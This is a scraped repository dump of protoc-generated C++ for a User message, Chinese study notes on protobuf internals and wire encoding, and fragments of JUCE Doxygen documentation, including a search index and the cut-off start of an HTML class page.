name_.AssignWithDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), from.name_); } ::memcpy(&id_, &from.id_, static_cast<size_t>(reinterpret_cast<char*>(&age_) - reinterpret_cast<char*>(&id_)) + sizeof(age_)); // @@protoc_insertion_point(copy_constructor:prototest.User) } void User::SharedCtor() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_User_proto_2fuser_2eproto.base); name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); ::memset(&id_, 0, static_cast<size_t>( reinterpret_cast<char*>(&age_) - reinterpret_cast<char*>(&id_)) + sizeof(age_)); } User::~User() { // @@protoc_insertion_point(destructor:prototest.User) SharedDtor(); } void User::SharedDtor() { name_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } void User::SetCachedSize(int size) const { _cached_size_.Set(size); } const User& User::default_instance() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_User_proto_2fuser_2eproto.base); return *internal_default_instance(); } //@ MessageGenerator::GenerateClear() void User::Clear() { // @@protoc_insertion_point(message_clear_start:prototest.User) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000001u) { name_.ClearNonDefaultToEmptyNoArena(); } if (cached_has_bits & 0x00000006u) { ::memset(&id_, 0, static_cast<size_t>( reinterpret_cast<char*>(&age_) - reinterpret_cast<char*>(&id_)) + sizeof(age_)); } _has_bits_.Clear(); _internal_metadata_.Clear(); } //@ ParseLoopGenerator::GenerateParserLoop() const char* User::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) { #define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure _Internal::HasBits has_bits{}; //@ ParseLoopGenerator::GenerateParseLoop() while (!ctx->Done(&ptr)) { ::PROTOBUF_NAMESPACE_ID::uint32 tag; ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag); CHK_(ptr); switch (tag >> 3) { // required uint64 id = 1; case 1: if (tag == 0b1000) { _Internal::set_has_id(&has_bits); id_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint(&ptr); CHK_(ptr); } else goto handle_unusual; continue; // required string name = 2; case 2: if (tag == 0b10010) { ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParserUTF8Verify(_internal_mutable_name(), ptr, ctx, "prototest.User.name"); CHK_(ptr); } else goto handle_unusual; continue; // optional int32 age = 3; case 3: if (tag == 0b11000) { _Internal::set_has_age(&has_bits); age_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint(&ptr); CHK_(ptr); } else goto handle_unusual; continue; default: { handle_unusual: if ((tag & 7) == 4 || tag == 0) { ctx->SetLastTag(tag); goto success; } ptr = UnknownFieldParse(tag, &_internal_metadata_, ptr, ctx); CHK_(ptr != nullptr); continue; } } // switch } // while success: _has_bits_.Or(has_bits); return ptr; failure: ptr = nullptr; goto success; #undef CHK_ } ::PROTOBUF_NAMESPACE_ID::uint8* User::InternalSerializeWithCachedSizesToArray( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const { // @@protoc_insertion_point(serialize_to_array_start:prototest.User) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // required uint64 id = 1; if (cached_has_bits & 0x00000002u) { stream->EnsureSpace(&target); target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteUInt64ToArray(1, this->_internal_id(), target); } // required string name = 2; if (cached_has_bits & 0x00000001u) { ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::VerifyUTF8StringNamedField( this->_internal_name().data(), static_cast<int>(this->_internal_name().length()), ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::SERIALIZE, "prototest.User.name"); target = stream->WriteStringMaybeAliased( 2, this->_internal_name(), target); } // optional int32 age = 3; if (cached_has_bits & 0x00000004u) { stream->EnsureSpace(&target); target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteInt32ToArray(3, this->_internal_age(), target); } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormat::InternalSerializeUnknownFieldsToArray( _internal_metadata_.unknown_fields(), target, stream); } // @@protoc_insertion_point(serialize_to_array_end:prototest.User) return target; } size_t User::RequiredFieldsByteSizeFallback() const { // @@protoc_insertion_point(required_fields_byte_size_fallback_start:prototest.User) size_t total_size = 0; if (has_name()) { // required string name = 2; total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_name()); } if (has_id()) { // required uint64 id = 1; total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt64Size( this->_internal_id()); } return total_size; } //@ MessageGenerator::GenerateByteSize size_t User::ByteSizeLong() const { // @@protoc_insertion_point(message_byte_size_start:prototest.User) size_t total_size = 0; //= required 字段的size //= _has_bits_ 在 _InternalParse() 里初始化 if (((_has_bits_[0] & 0x00000003) ^ 0x00000003) == 0) { // All required fields are present. // required string name = 2; total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_name()); // required uint64 id = 1; total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::UInt64Size( this->_internal_id()); // age是optional } else { total_size += RequiredFieldsByteSizeFallback(); } ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; // optional int32 age = 3; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000004u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::Int32Size( this->_internal_age()); } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { return ::PROTOBUF_NAMESPACE_ID::internal::ComputeUnknownFieldsSize( _internal_metadata_, total_size, &_cached_size_); } int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size); SetCachedSize(cached_size); return total_size; } void User::MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) { // @@protoc_insertion_point(generalized_merge_from_start:prototest.User) GOOGLE_DCHECK_NE(&from, this); const User* source = ::PROTOBUF_NAMESPACE_ID::DynamicCastToGenerated<User>( &from); if (source == nullptr) { // @@protoc_insertion_point(generalized_merge_from_cast_fail:prototest.User) ::PROTOBUF_NAMESPACE_ID::internal::ReflectionOps::Merge(from, this); } else { // @@protoc_insertion_point(generalized_merge_from_cast_success:prototest.User) MergeFrom(*source); } } void User::MergeFrom(const User& from) { // @@protoc_insertion_point(class_specific_merge_from_start:prototest.User) GOOGLE_DCHECK_NE(&from, this); _internal_metadata_.MergeFrom(from._internal_metadata_); ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = from._has_bits_[0]; if (cached_has_bits & 0x00000007u) { if (cached_has_bits & 0x00000001u) { _has_bits_[0] |= 0x00000001u; name_.AssignWithDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), from.name_); } if (cached_has_bits & 0x00000002u) { id_ = from.id_; } if (cached_has_bits & 0x00000004u) { age_ = from.age_; } _has_bits_[0] |= cached_has_bits; } } void User::CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) { // @@protoc_insertion_point(generalized_copy_from_start:prototest.User) if (&from == this) return; Clear(); MergeFrom(from); } void User::CopyFrom(const User& from) { // @@protoc_insertion_point(class_specific_copy_from_start:prototest.User) if (&from == this) return; Clear(); MergeFrom(from); } bool User::IsInitialized() const { if ((_has_bits_[0] & 0x00000003) != 0x00000003) return false; return true; } void User::InternalSwap(User* other) { using std::swap; _internal_metadata_.Swap(&other->_internal_metadata_); swap(_has_bits_[0], other->_has_bits_[0]); name_.Swap(&other->name_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArenaNoVirtual()); swap(id_, other->id_); swap(age_, other->age_); } ::PROTOBUF_NAMESPACE_ID::Metadata User::GetMetadata() const { return GetMetadataStatic(); } // @@protoc_insertion_point(namespace_scope) } // namespace prototest PROTOBUF_NAMESPACE_OPEN template<> PROTOBUF_NOINLINE ::prototest::User* Arena::CreateMaybeMessage< ::prototest::User >(Arena* arena) { return Arena::CreateInternal< ::prototest::User >(arena); } PROTOBUF_NAMESPACE_CLOSE // @@protoc_insertion_point(global_scope) #include <google/protobuf/port_undef.inc> <file_sep>const { kNameFieldNumber = 1 kPackageFieldNumber = 2 kDependencyFieldNumber = 3 kMessageTypeFieldNumber = 4 kEnumTypeFieldNumber = 5 kServiceFieldNumber = 6 kExtensionFieldNumber = 7 kOptionsFieldNumber = 8 kSourceCodeInfoFieldNumber = 9 kPublicDependencyFieldNumber = 10 kWeakDependencyFieldNumber = 11 kSyntaxFieldNumber = 12 } command_line_interface.h { -- CommandLineInterface input_files_ vector<string> } message.h { -- Reflection schema_ ReflectionSchema -- Metadata descriptor Descriptor* reflection Reflection* -- Message ~> MessageLite // proto的message的基类 GetDescriptor():Descriptor* => GetMetadata().descriptor GetReflection():Reflection* => GetMetadata().reflection GetMetadata():Metadata => GetMetadataStatic() // 返回.pb.cc定义的static变量 } repeated_field.h { -- RepeatedField<E> empty():bool size():int operator[](int i):const-E&:const => Get(i) // const Element& RepeatedField<Element>::Get(int i) operator[](int i):E& => *Mutable(i) // Element* RepeatedField<Element>::Mutable(int i) Set(int i, E& e) Add(E& e) Add():E* } generated_message_reflection.h { -- ReflectionSchema } descriptor.h { -- Descriptor // message的描述体(描述数据结构) name_ string full_name_ string file_ FileDescriptor* containing_type_ FileDescriptor* // 包含当前descriptor的parent_descriptor fields_ FieldDescriptor* enum_types_ EnumDescriptor* nested_types_ Descriptor* -- FindFieldByName(string key):FieldDescriptor* Symbol result = file_->tables_->FindNestedSymbolOfType(this, key, Symbol::FIELD) return result.IsNull ? nullptr : result.field_descriptor -- FieldDescripotr name():string& number():int type():Type -- is_reqiured():bool is_optional():bool is_repeated():bool -- has_default_value():bool default_value_bool():bool default_value_int32():int32 default_value_int64():int64 default_value_float():float -- file():FileDescriptor* -- Type enum { TYPE_DOUBLE=1, TYPE_FLOAT, TYPE_INT64, ..., TYPE_MESSAGE, ... } -- FileDescriptor // proto文件的描述体 tables_ FileDescriptorTables* source_code_info_ SourceCodeInfo -- FileDescriptorTables -- DescriptorPool underlay_ =nullptr lazily_build_dependencies_ =false fallback_database_ DescriptorDatabase* =source_tree_database tables_ =make_unique<DescriptorPool::Tables>() -- DescriptorPool::Tables files_by_name_ unordered_map<const char*, const FileDescriptor*> } descriptor_database.h { -- SourceTreeDescriptorDatabase ~> DescriptorDatabase source_tree_ SourceTree* } descriptor.proto { -- FileDescriptorProto message_type DescriptorProto[] -- DescriptorProto name string nested_type DescriptorProto[] field FieldDescriptorProto[] enum_type EnumDescriptorProto[] -- FieldDescriptorProto Type enum { TYPE_DOUBLE=1, TYPE_FLOAT, TYPE_INT64, TYPE_UINT64, TYPE_INT32, ... } Lable enum { LABEL_OPTIONAL=1, LABEL_REQUIRED, LABEL_REPEATED } name string number int32 lable Label type Type type_name string -- SourceCodeInfo location Location[] -- Location // SourceCodeInfo::Location path int[] span int[] } tokenizer.h { -- Tokenizer current_ Token{type=TYPE_START,line=column=end_column=0} previous_ Token input_ ZeroCopyInputStream* -- Token type TokenType lint, column, end_column int text string // 整个token文本 -- TokenType enum { TYPE_START, TYPE_END, TYPE_IDENTIFIER, TYPE_INTEGER, TYPE_FLOAT, TYPE_STRING, TYPE_SYMBOL } } parser.h { -- LocationRecorder // wrap Location parser_ Parser* source_code_info_ SourceCodeInfo* location_ SourceCodeInfo::Location* -- LocationRecorder(LocationRecorder* parent, int path1, int path2=None) { parser_, source_code_info_ = parent.parser_, parent.source_code_info_ location_ = source_code_info_.add_location() // path location_.path = parent.location_.path + {path1} if path2 != None, location_.path += {path2} // span location_.span = [parser_.input_.current.line, parser_.input_.current.column] } } wire_format_lite.h { -- WireType enum { WIRETYPE_VARINT=0, WIRETYPE_FIXED64, WIRETYPE_LENGTH_DELIMITED, WIRETYPE_START_GROUP, WIRETYPE_END_GROUP, WIRETYPE_FIXED32, } } <file_sep>class Reflection { comment() { 声明在 message.h 实现在 generated_message_reflection.cc } fields() { schema_ const ReflectionSchema } MutableRaw<T>(Message* msg, FieldDescriptor* fe) { uint32_t offset = schema_.GetFieldOffset(fe) return reinterpret_cast<T*>(reinterpret_cast<char*>(msg) + offset) } SetField<T>(Message* msg, FieldDescriptor* fe, T& v) { T* t = MutableRaw<T>(msg, fe) *t = v } AddField<T>(Message* msg, FieldDescriptor* fe, T& v) { MutableRaw<RepeatedField<T>>(msg, fe)->Add(v) } }<file_sep># ref https://developers.google.com/protocol-buffers/docs/encoding.html#structure # Base 128 Varints - 基于128的变长整数编码 - example 300 编码成 1010 1100 0000 0010, 解码如下 1010 1100 0000 0010 010 1100 000 0010 去掉每个字节的第一个bit 000 0010 010 1100 网络字节序是大端序, 所以这里倒过来 00 0001 0010 1100 高字节右移1个bit, 这个bit补到低字节的第一个bit # Message Structure a protocol buffer message is a series of key-value pairs ```c++ wire_type = { varint 0 // int32 int64 bool enum ... 64_bit 1 // fixed64 sfixed64 double length_delimited 2 // string bytes repeated_fields embedded_message 32_bit 5 // fixed32 sfixed32 float`, } ``` key = encodeVarint((field_number << 3) | wire_type). 所以field_number最大是`2^29-1` # signed varint 有符号数变长编码时, 转换成无符号数, 转换函数如下 0 -> 0 -1 -> 1 1 -> 2 -2 -> 3 2 -> 4 -3 -> 5 3 -> 6 这个转换函数称作`zig-zags` sint32 n -> (n << 1) ^ (n >> 31) 空出最低位放符号 符号位移到最后一位, 负数对应奇数, 正数对应偶数 sint64 n -> (n << 1) ^ (n >> 63) 转换成unsigned后再用varint编码 # string - example message Aoo { optional string s = 2; } 当 s == "testing" 时, 编码如下 12 07 74 65 73 74 69 6e 67 0x12 -> 0001 0010 -> field_number=2,wire_type=2 0x07 -> a编码后长度是7 # embedded message - example message Aoo { optional int v = 1; } message Boo { optional Aoo a = 3; } 当 a.v == 150 时, 编码如下 1a 03 08 96 01 0x1a -> 0001 1010 -> field_number=3,wire_type=2 0x03 -> a编码后长度是3`08 96 01` 0x08 -> 0000 1000 -> field_number=1,wire_type=0`int` # repeated field - MergeFrom Normally, an encoded message would never have more than one instance of a non-repeated field. If the same field appears multiple times, the parser accepts the last value it sees. 非repeated字段有多个实例值时, 需要进行合并操作, 即MergeFrom - example Aoo a1; a1.ParseFromString(s1); Aoo a2; a2.ParseFromString(s2); a1.MergeFrom(a2); 等效于 a1.ParseFromString(s1+s2); - packed repeated field message Aoo { repeated int arr = 1; [packed=true] } 带packed表示arr长度是0时, arr不出现在编码结果中 当 arr = [6, 270] 时, 编码如下 0a 03 06 8E 02 0a -> field_number=1,wire_type=2 03 -> payload_size=3 06 -> arr[0] 8E 02 -> arr[1]
a044d3cff98847b718750385dbacf3df196edc6f
[ "Markdown", "C++", "Shell" ]
16
Shell
leizton/protobuf
53685aba63a8e3fdf9d472312ae93a689511ab3b
5c302ec0a6a2aba98e247daa268b155c352b1dc7
refs/heads/master
<file_sep>var searchData= [ ['label',['Label',['../classLabel.html',1,'']]], ['ladspapluginformat',['LADSPAPluginFormat',['../classLADSPAPluginFormat.html',1,'']]], ['lagrangeinterpolator',['LagrangeInterpolator',['../classLagrangeInterpolator.html',1,'']]], ['lameencoderaudioformat',['LAMEEncoderAudioFormat',['../classLAMEEncoderAudioFormat.html',1,'']]], ['lassocomponent',['LassoComponent',['../classLassoComponent.html',1,'']]], ['lassocomponentmethods',['LassoComponentMethods',['../structExtraLookAndFeelBaseClasses_1_1LassoComponentMethods.html',1,'ExtraLookAndFeelBaseClasses']]], ['lassosource',['LassoSource',['../classLassoSource.html',1,'']]], ['launchoptions',['LaunchOptions',['../structDialogWindow_1_1LaunchOptions.html',1,'DialogWindow']]], ['leakedobjectdetector',['LeakedObjectDetector',['../classLeakedObjectDetector.html',1,'']]], ['lengthandcharacterrestriction',['LengthAndCharacterRestriction',['../classTextEditor_1_1LengthAndCharacterRestriction.html',1,'TextEditor']]], ['line',['Line',['../classLine.html',1,'']]], ['line',['Line',['../classTextLayout_1_1Line.html',1,'TextLayout']]], ['linearsmoothedvalue',['LinearSmoothedValue',['../classLinearSmoothedValue.html',1,'']]], ['linearsmoothedvalue_3c_20float_20_3e',['LinearSmoothedValue&lt; float &gt;',['../classLinearSmoothedValue.html',1,'']]], ['lineto',['LineTo',['../classRelativePointPath_1_1LineTo.html',1,'RelativePointPath']]], ['linkedlistpointer',['LinkedListPointer',['../classLinkedListPointer.html',1,'']]], ['linkedlistpointer_3c_20xmlattributenode_20_3e',['LinkedListPointer&lt; XmlAttributeNode &gt;',['../classLinkedListPointer.html',1,'']]], ['linkedlistpointer_3c_20xmlelement_20_3e',['LinkedListPointer&lt; XmlElement &gt;',['../classLinkedListPointer.html',1,'']]], ['listbox',['ListBox',['../classListBox.html',1,'']]], ['listboxmodel',['ListBoxModel',['../classListBoxModel.html',1,'']]], ['listener',['Listener',['../classCodeDocument_1_1Listener.html',1,'CodeDocument']]], ['listener',['Listener',['../classAudioIODeviceType_1_1Listener.html',1,'AudioIODeviceType']]], ['listener',['Listener',['../classMarkerList_1_1Listener.html',1,'MarkerList']]], ['listener',['Listener',['../classjuce_1_1OSCReceiver_1_1Listener.html',1,'juce::OSCReceiver']]], ['listener',['Listener',['../classOSCReceiver_1_1Listener.html',1,'OSCReceiver']]], ['listener',['Listener',['../classCameraDevice_1_1Listener.html',1,'CameraDevice']]], ['listener',['Listener',['../classValue_1_1Listener.html',1,'Value']]], ['listener',['Listener',['../classValueTree_1_1Listener.html',1,'ValueTree']]], ['listener',['Listener',['../classButton_1_1Listener.html',1,'Button']]], ['listener',['Listener',['../structAudioProcessorValueTreeState_1_1Listener.html',1,'AudioProcessorValueTreeState']]], ['listener',['Listener',['../structImagePixelData_1_1Listener.html',1,'ImagePixelData']]], ['listener',['Listener',['../classMPEInstrument_1_1Listener.html',1,'MPEInstrument']]], ['listener',['Listener',['../classAnimatedPosition_1_1Listener.html',1,'AnimatedPosition']]], ['listener',['Listener',['../classScrollBar_1_1Listener.html',1,'ScrollBar']]], ['listener',['Listener',['../classMenuBarModel_1_1Listener.html',1,'MenuBarModel']]], ['listener',['Listener',['../classMouseInactivityDetector_1_1Listener.html',1,'MouseInactivityDetector']]], ['listener',['Listener',['../classTextPropertyComponent_1_1Listener.html',1,'TextPropertyComponent']]], ['listener',['Listener',['../classComboBox_1_1Listener.html',1,'ComboBox']]], ['listener',['Listener',['../classLabel_1_1Listener.html',1,'Label']]], ['listener',['Listener',['../classSlider_1_1Listener.html',1,'Slider']]], ['listener',['Listener',['../classTableHeaderComponent_1_1Listener.html',1,'TableHeaderComponent']]], ['listener',['Listener',['../classTextEditor_1_1Listener.html',1,'TextEditor']]], ['listenerlist',['ListenerList',['../classListenerList.html',1,'']]], ['listenerlist_3c_20applicationcommandmanagerlistener_20_3e',['ListenerList&lt; ApplicationCommandManagerListener &gt;',['../classListenerList.html',1,'']]], ['listenerlist_3c_20changelistener_20_3e',['ListenerList&lt; ChangeListener &gt;',['../classListenerList.html',1,'']]], ['listenerlist_3c_20filebrowserlistener_20_3e',['ListenerList&lt; FileBrowserListener &gt;',['../classListenerList.html',1,'']]], ['listenerlist_3c_20filenamecomponentlistener_20_3e',['ListenerList&lt; FilenameComponentListener &gt;',['../classListenerList.html',1,'']]], ['listenerlist_3c_20focuschangelistener_20_3e',['ListenerList&lt; FocusChangeListener &gt;',['../classListenerList.html',1,'']]], ['listenerlist_3c_20listener_20_3e',['ListenerList&lt; Listener &gt;',['../classListenerList.html',1,'']]], ['listenerlist_3c_20mouselistener_20_3e',['ListenerList&lt; MouseListener &gt;',['../classListenerList.html',1,'']]], ['listenerwithoscaddress',['ListenerWithOSCAddress',['../classOSCReceiver_1_1ListenerWithOSCAddress.html',1,'OSCReceiver']]], ['listenerwithoscaddress',['ListenerWithOSCAddress',['../classjuce_1_1OSCReceiver_1_1ListenerWithOSCAddress.html',1,'juce::OSCReceiver']]], ['localisedstrings',['LocalisedStrings',['../classLocalisedStrings.html',1,'']]], ['logger',['Logger',['../classLogger.html',1,'']]], ['lookandfeel',['LookAndFeel',['../classLookAndFeel.html',1,'']]], ['lookandfeel_5fv1',['LookAndFeel_V1',['../classLookAndFeel__V1.html',1,'']]], ['lookandfeel_5fv2',['LookAndFeel_V2',['../classLookAndFeel__V2.html',1,'']]], ['lookandfeel_5fv3',['LookAndFeel_V3',['../classLookAndFeel__V3.html',1,'']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structTreeView_1_1LookAndFeelMethods.html',1,'TreeView']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structScrollBar_1_1LookAndFeelMethods.html',1,'ScrollBar']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structConcertinaPanel_1_1LookAndFeelMethods.html',1,'ConcertinaPanel']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structStretchableLayoutResizerBar_1_1LookAndFeelMethods.html',1,'StretchableLayoutResizerBar']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structTabbedButtonBar_1_1LookAndFeelMethods.html',1,'TabbedButtonBar']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structFilenameComponent_1_1LookAndFeelMethods.html',1,'FilenameComponent']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structImageButton_1_1LookAndFeelMethods.html',1,'ImageButton']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structToolbar_1_1LookAndFeelMethods.html',1,'Toolbar']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structProgressBar_1_1LookAndFeelMethods.html',1,'ProgressBar']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structButton_1_1LookAndFeelMethods.html',1,'Button']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structLabel_1_1LookAndFeelMethods.html',1,'Label']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structTableHeaderComponent_1_1LookAndFeelMethods.html',1,'TableHeaderComponent']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structPropertyComponent_1_1LookAndFeelMethods.html',1,'PropertyComponent']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structGroupComponent_1_1LookAndFeelMethods.html',1,'GroupComponent']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structPopupMenu_1_1LookAndFeelMethods.html',1,'PopupMenu']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structTextEditor_1_1LookAndFeelMethods.html',1,'TextEditor']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structComboBox_1_1LookAndFeelMethods.html',1,'ComboBox']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structResizableWindow_1_1LookAndFeelMethods.html',1,'ResizableWindow']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structDocumentWindow_1_1LookAndFeelMethods.html',1,'DocumentWindow']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structFileBrowserComponent_1_1LookAndFeelMethods.html',1,'FileBrowserComponent']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structTooltipWindow_1_1LookAndFeelMethods.html',1,'TooltipWindow']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structBubbleComponent_1_1LookAndFeelMethods.html',1,'BubbleComponent']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structAlertWindow_1_1LookAndFeelMethods.html',1,'AlertWindow']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structCallOutBox_1_1LookAndFeelMethods.html',1,'CallOutBox']]], ['lookandfeelmethods',['LookAndFeelMethods',['../structSlider_1_1LookAndFeelMethods.html',1,'Slider']]], ['lowlevelgraphicscontext',['LowLevelGraphicsContext',['../classLowLevelGraphicsContext.html',1,'']]], ['lowlevelgraphicspostscriptrenderer',['LowLevelGraphicsPostScriptRenderer',['../classLowLevelGraphicsPostScriptRenderer.html',1,'']]], ['lowlevelgraphicssoftwarerenderer',['LowLevelGraphicsSoftwareRenderer',['../classLowLevelGraphicsSoftwareRenderer.html',1,'']]], ['luatokeniser',['LuaTokeniser',['../classLuaTokeniser.html',1,'']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: MessageManager Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="#pub-static-methods">Static Public Member Functions</a> &#124; <a href="classMessageManager-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">MessageManager Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>This class is in charge of the application's event-dispatch loop. <a href="classMessageManager.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager_1_1MessageBase.html">MessageBase</a></td></tr> <tr class="memdesc:"><td class="mdescLeft">&#160;</td><td class="mdescRight">Internal class used as the base class for all message objects. <a href="classMessageManager_1_1MessageBase.html#details">More...</a><br/></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a3084a3a75717db0f7f05604f2956ff65"><td class="memItemLeft" 